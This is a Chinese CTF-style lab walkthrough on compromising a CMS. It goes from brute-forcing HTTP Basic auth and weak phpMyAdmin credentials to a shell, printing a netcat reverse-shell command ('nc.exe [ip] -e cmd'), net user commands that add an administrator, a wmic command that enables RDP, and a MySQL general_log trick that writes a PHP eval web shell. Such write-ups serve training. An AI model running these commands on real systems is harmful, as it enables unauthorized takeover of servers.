深入某CMS渗透测试:从弱口令到接管webshell
深入某CMS渗透测试:从弱口令到接管webshell
前言
关于交流群,后台添加即可
401验证,在网络通信和HTTP协议中,特指一种状态码——401 Unauthorized(未经授权)。当客户端尝试访问受保护的资源时,如果未能提供有效的身份验证信息,或者提供的信息不足以获得访问权限,服务器就会返回401状态码,表示请求未被授权。
靶场复现
弱口令123456
当然也可以使用bp爆破
base64解密
添加迭代器,用户字典
在这里添加一个冒号
添加密码字典
添加处理规则base64编码
这里发现一个百分号的url编码,他就是我们401认证中间的冒号
这里取消url编码即可
然后进行爆破即可,找到一个响应为200的就是爆破成功的
然后解密就好
返回页面登录成功后就会得到key1
进入到首页
登录sql注入尝试,被验证了
双引号也不行
对搜索框进行xss攻击,发现对<>进行了过滤
url编码,但是被转义成了script的a标签,还是以字符串的形式添加到相关搜索
注册一个用户信息
这里成功注册了,但是也没有alert(1)
查看首页过来,也没有,修改闭合标签<strong>
试试
修改信息,并添加一个strong标签
失败了,好像还有字符长度限制
在短消息界面中尝试xss
失败,没效果
xss验证,被转义成了字符串
</textarea><script>alert(1)</script>
好家伙直接添加成功,也没有xss漏洞
找到默认 织梦 后台管理地址
管理员没有修改默认登录界面
admin 万能密码绕过,没有效果
查看端口开放信息
这个端口也没有什么东西
3306端口,mysql远程连接试试,拒绝远程连接
robots爬虫协议
/include
/templets,都没发现什么东西
找到头像设置界面,一句话图片马能上传了
可以上传图片,但是找了好一会儿,没有找到文件包含的地方
御剑目录扫描扫不出任何东西
这里有一个认证,就是401认证,用普通的目录扫描工具是扫不出任何东西的
Authorization: Basic YWRtaW46MTIzNDU2
用burp suite扫描抓包指定好御剑的字典目录扫描路径
刚刚扫描到的phpmyadmin
这个错误介绍
MySQL是一个流行的开放源代码关系数据库管理系统。它是许多Web应用程序的基础,例如WordPress,Magento和Drupal等。MySQL允许用户通过自己的主机或云服务器上的phpMyAdmin进行MySQL管理。然而,有时候用户可能会遇到MySQL Error # 1045 – Cannot Log in to MySQL server -> phpmyadmin错误。这篇文章将介绍这个错误,以及如何解决它。
错误原因
该错误通常意味着您没有权限访问MySQL服务器。在MySQL中有一个root用户,它是MySQL服务器的超级管理员。如果您尝试使用root用户登录MySQL服务器但不知道密码,或者尝试通过phpMyAdmin使用root用户但是密码错误,那么您就会遇到MySQL Error # 1045。此外,如果您使用的是不正确的用户名或密码,也会遇到此错误。
弱口令root/root成功
一、后台文件上传
登录mysql,找到指定的数据表,查看admin密码
解密
admin/888888成功进入到了后台界面
找到这个文件式管理器,找到key2
查看这个key2
上传php文件
用nmap进行扫描扫出来结果为windows系统
执行命令dir
查看系统信息,是windows server 2008操作系统
在当前uploads目录上传一个nc.exe
移交cmd权限到攻击机器
nc.exe [ip] [端口] -e cmd
dir查看是否成功
查看用户权限信息,是超级管理员,那么我们就可以添加一个管理员用户
添加用户,并添加到admin用户组
# 添加一个用户
net user 用户名 password /add
# 添加用户名到指定用户组
net localgroup administrators 用户名 /add
开启远程
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
nmap扫描指定端口,查看是否开启
用你刚刚添加的用户进行远程连接
查看administrator目录,成功访问,获得目标服务器权限,这里环境没有配置key3,演示结束。
二、日志写入
phpmyadmin日志功能
SHOW VARIABLES LIKE "%general%"
这里我们查看日志状态是开启的,我们可以尝试写日志的方式,获取shell命令
如果没有打开也可以使用如下脚本,打开日志功能
SET GLOBAL GENERAL_LOG=on
在上面我们看到了日志的路径,确定了本站为phpstudy搭建的,我们修改日志文件到我们的shell.php
查看脚本是否存在
写入日志
SELECT "<?php @eval($_POST[10]); ?>"
这里不要忘了添加401验证的请求头